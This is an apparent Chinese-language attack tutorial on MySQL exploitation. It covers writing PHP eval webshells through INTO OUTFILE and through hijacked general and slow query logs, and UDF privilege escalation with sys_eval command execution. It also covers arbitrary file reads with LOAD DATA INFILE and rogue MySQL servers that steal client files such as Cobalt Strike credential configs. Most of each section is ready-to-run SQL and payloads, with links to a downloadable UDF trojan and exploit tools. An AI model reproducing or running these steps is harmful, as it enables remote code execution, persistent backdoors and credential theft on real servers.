MySQL 数据库利用

MySQL提权

当拿到 mysql 执行权限，想要更深层次的利用，就会考虑如何命令执行

假如说拿下了 phpMyAdmin 的情况下

如何进行RCE利用

直接写webshell

前提条件：

知道网站物理路径
secure_file_priv 无限制
网站路径有写入权限

我们先查看一下secure_file_priv的值

1 2	select @@secure_file_priv; show global variables like 'secure%';

当secure_file_priv的值为 NULL，表示限制 mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/，表示限制 mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值为空，表示不对 mysqld 的导入|导出做限制

获取数据库版本号：

1	SHOW VARIABLES LIKE '%version%';

获取mysql安装目录

1	select @@basedir;

像这种情况下可以直接写webshell

1 2	select '<?php @eval($_POST[1]); ?>' into outfile 'C:\\phpstudy_pro\\WWW\\shell.php' select '<?php @eval($_POST[1]); ?>' into dumpfile 'C:\\phpstudy_pro\\WWW\\shell.php'

一般情况下 Linux 系统的权限分配比较严格，MySQL 用户一般情况下是无法直接往站点根目录写入文件的，这种情况下在 Windows 环境下成功率会很高

日志文件写webshell

前提条件：

Web 文件夹宽松权限可以写入
Windows 系统下
高权限运行 MySQL 或者 Apache

在MySQL 5.0 版本以上会创建日志文件，可以通过修改日志的全局变量来 getshell

1	show variables like '%general%';

general_log 默认是关闭的，开启它可以记录用户输入的每条命令，并保存在对应的日志文件中

# 开启日志
set global general_log = on;
# 设置日志位置为网站目录
set global general_log_file = 'C:\\phpstudy_pro\\www\\shell.php';

最后将 shell 写入日志文件，执行select "<?php eval($_POST['1']);?>";

即可getshell，最后记得关闭日志

慢查询写webshell

只有当查询语句执行的时间要超过系统默认的时间时，该语句才会被记入进慢查询日志
一般都是通过 long_query_time 选项来设置这个时间值，时间以秒为单位，可以精确到微秒。如果查询时间超过了这个时间值，这个查询语句将被记录到慢查询日志中

查看服务器默认时间值：

1	show global variables like '%long_query_time%';

默认为10秒，接下来查询慢日志功能以及慢日志目录

1	show variables like '%slow_query_log%';

同理，开启慢查询功能并更改日志文件

1 2	set global slow_query_log=on; set global slow_query_log_file='C:\\phpstudy_pro\\www\\shell.php';

最后执行的命令需要延时10秒以上，select "<?php eval($_POST['1']);?>" or sleep(11);

通常情况下执行sql语句的执行时间一般不会超过10s，所以说这个日志文件应该是比较小的

UDF 提权

UDF（user defined function）用户自定义函数，是 MySQL 的一个扩展接口，称为用户自定义函数，是用来拓展MySQL的技术手段，用户通过自定义函数来实现在MySQL中无法实现的功能。文件后缀为.dll或.so，常用C、C++语言编写

动态链接库

如果是 MySQL >= 5.1 的版本，必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的lib\plugin文件夹下才能创建自定义函数
如果 MySQL 版本小于5.1，udf.dll文件在windows server 2003下放置于c:\windows\system32目录，在windows server 2000下放置于c:\winnt\system32目录

我们查看一下plugin目录：
show variables like '%plugin%';

在sqlmap中已经集成了对应系统的动态链接库文件

不过 sqlmap 中自带的这些动态链接库为了防止被误杀都经过编码处理过的，不能被直接使用，我们可以利用 sqlmap 自带的解码工具 cloak.py 来解码使用，cloak.py 的位置为：extra/cloak/cloak.py

# 解码 32 位的 Linux 动态链接库
python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so
# 解码 64 位的 Linux 动态链接库
python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so

# 解码 32 位的 Windows 动态链接库
python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
# 解码 64 位的 Windows 动态链接库
python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll

接下来的任务就是把 UDF 的动态链接库文件放到 MySQL 的插件目录下

注意：

outfile 函数可以导出多行，而dumpfile只能导出一行数据
outfile 函数在将数据写到文件里时有特殊的格式转换，而dumpfile则保持原数据格式

dumpfile对文件内容未做任何转义和增加，这也就是为什么在平常的UDF提权中使用dumpfile写dll文件的原因

参考：MySQL UDF 提权十六进制查询

这里我的环境是64位，没有lib\plugin目录的话需要创建一个，然后select 16进制写入

SELECT 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INTO DUMPFILE 'C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll';

成功写入

创建自定义函数并调用命令

最后我们需要把udf.dll中的自定义函数引入进来

这里存在两个变量，一个是function_name（函数名），我们想引入的函数是sys_eval，还有一个变量是shared_library_name（共享包名称），即udf.dll

#查看创建函数
select * from mysql.func;
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
select sys_eval('whoami');

#删除函数
delete from mysql.func where name='sys_eval';
drop function sys_eval;

可以看到成功执行命令

参考文章：
MySQL 漏洞利用与提权
 udf提权原理详解
 Mysql UDF BackDoor
【数据库提权系列】—【Mysql-UDF提权篇】

利用工具：
暗月大佬的udf木马链接：https://pan.baidu.com/s/1c-lv5pEnx64bOTGecFeVCw，提取码：w9bp
Tools的udf木马：https://github.com/echohun/tools/blob/master/%E5%A4%A7%E9%A9%AC/udf.php

MySQL Client 任意文件读取

前几年还是非常流行的 Mysql 蜜罐反制 Cobalt Strike 的技术，就是利用的 MySQL LOAD DATA 特性达到任意文件读取

LOAD DATA INFILE

LOAD DATA INFILE 语句是从一个文本文件中以很高的速度读入到一个表中，如果指定 LOCAL 关键词，就从客户端读文件。如果 LOCAL 没指定，文件必须位于服务器上

MySQL会读取服务端的文件然后将数据按照\n分割插入表中，但是这个语句同样要求有FILE权限，以及非local加载的语句也受到secure_file_priv的限制

查询命令是否开启：

1	show global variables like 'local_infile';

可以看到在phpstudy中该功能是默认开启的，尝试读取服务端文件，执行

1	load data infile "C:\\Windows\\win.ini" into table test FIELDS TERMINATED BY '\n';

成功将文件内容写入表中

参考：
CSS-T | Mysql Client 任意文件读取攻击链拓展
 MySQL JDBC Connector的allowUrlInLocalInfile选项利用

MySQL蜜罐

MySQL服务端可以利用LOAD DATA LOCAL INFILE命令来读取MYSQL客户端的任意文件

https://dev.mysql.com/doc/refman/8.0/en/load-data-local-security.html
在mysql文档中说到：服务端可以要求客户端读取有可读权限的任何文件

影响范围：

mysql client (pwned)
php mysqli (pwned，fixed by 7.3.4)
php pdo (默认禁用)
python MySQLdb (pwned)
python mysqlclient (pwned)
java JDBC Driver (pwned，部分条件下默认禁用)
navicat (pwned)

在我们传输这个文件读取的数据包时，需要等待一个来自客户端的查询请求才能回复这个读文件的请求，也就是我们现在还需要一个来自客户端的查询请求，幸运的是，形如Navicat等客户端进行连接的时候，会自动发送如下查询请求

1	SET NAMES utf8mb4

这样我们的利用条件也就满足了，使用 MySQL_Fake_Server 读取客户端文件，网上已经有利用脚本了：
https://github.com/fnmsd/MySQL_Fake_Server
https://github.com/rmb122/rogue_mysql_server
https://github.com/Gifts/Rogue-MySql-Server

尝试读取C:\\windows\\win.ini

接下来我们需要获取 Windows下的计算机用户名，一般在C:\Windows\PFRO.log内可以得到，或者尝试 Administrator 用户

只要使用cs客户端连接过cs服务端的电脑，cs客户端都会在固定的用户文件夹下生成个.aggressor.prop配置文件，这个文件里面详细记录了cs连接的账号、密码、端口、插件地址等

测试一下，成功读取

参考：
Mysql蜜罐反制Cobalt Strike
溯源反制之MySQL蜜罐研究